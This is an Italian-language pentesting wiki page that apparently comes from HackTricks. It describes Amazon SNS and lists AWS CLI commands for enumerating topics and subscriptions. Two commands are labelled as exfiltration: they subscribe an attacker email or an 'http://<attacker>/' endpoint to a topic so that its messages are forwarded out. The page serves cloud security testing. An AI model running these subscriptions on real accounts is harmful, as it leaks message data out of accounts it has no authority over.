# AWS - SNS Enum

{{#include ../../../banners/hacktricks-training.md}}

## SNS

Amazon Simple Notification Service (Amazon SNS) è descritto come un **servizio di messaggistica completamente gestito**. Supporta sia i tipi di comunicazione **application-to-application** (A2A) che **application-to-person** (A2P).

Le caratteristiche chiave per la comunicazione A2A includono i **meccanismi di pubblicazione/sottoscrizione (pub/sub)**. Questi meccanismi introducono **argomenti**, cruciali per abilitare messaggi **push-based** ad alta capacità, **many-to-many**. Questa funzionalità è altamente vantaggiosa in scenari che coinvolgono sistemi distribuiti, microservizi e architetture serverless basate su eventi. Sfruttando questi argomenti, i sistemi di pubblicazione possono distribuire messaggi in modo efficiente a un **ampio numero di sistemi di sottoscrizione**, facilitando un modello di messaggistica fanout.

### **Differenza con SQS**

**SQS** è un servizio **basato su coda** che consente comunicazioni punto a punto, garantendo che i messaggi siano elaborati da un **singolo consumatore**. Offre **consegna almeno una volta**, supporta code standard e FIFO, e consente la retention dei messaggi per ripetizioni e elaborazione ritardata.\
D'altra parte, **SNS** è un servizio **basato su pubblicazione/sottoscrizione**, che consente comunicazioni **one-to-many** trasmettendo messaggi a **più sottoscrittori** simultaneamente. Supporta **vari endpoint di sottoscrizione come email, SMS, funzioni Lambda e HTTP/HTTPS**, e fornisce meccanismi di filtraggio per la consegna mirata dei messaggi.\
Sebbene entrambi i servizi consentano il disaccoppiamento tra i componenti nei sistemi distribuiti, SQS si concentra sulla comunicazione in coda, mentre SNS enfatizza i modelli di comunicazione basati su eventi e fan-out.

### **Enumerazione**
```bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
> [!CAUTION]
> Nota che se il **topic è di tipo FIFO**, possono essere utilizzati solo gli abbonati che utilizzano il protocollo **SQS** (HTTP o HTTPS non possono essere utilizzati).
>
> Inoltre, anche se il `--topic-arn` contiene la regione, assicurati di specificare la regione corretta in **`--region`** o riceverai un errore che sembra indicare che non hai accesso, ma il problema è la regione.

#### Accesso Non Autenticato

{{#ref}}
../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
{{#endref}}

#### Escalation dei Privilegi

{{#ref}}
../aws-privilege-escalation/aws-sns-privesc/README.md
{{#endref}}

#### Post Sfruttamento

{{#ref}}
../aws-post-exploitation/aws-sns-post-exploitation/README.md
{{#endref}}

#### Persistenza

{{#ref}}
../aws-persistence/aws-sns-persistence/README.md
{{#endref}}

## Riferimenti

- [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)

{{#include ../../../banners/hacktricks-training.md}}
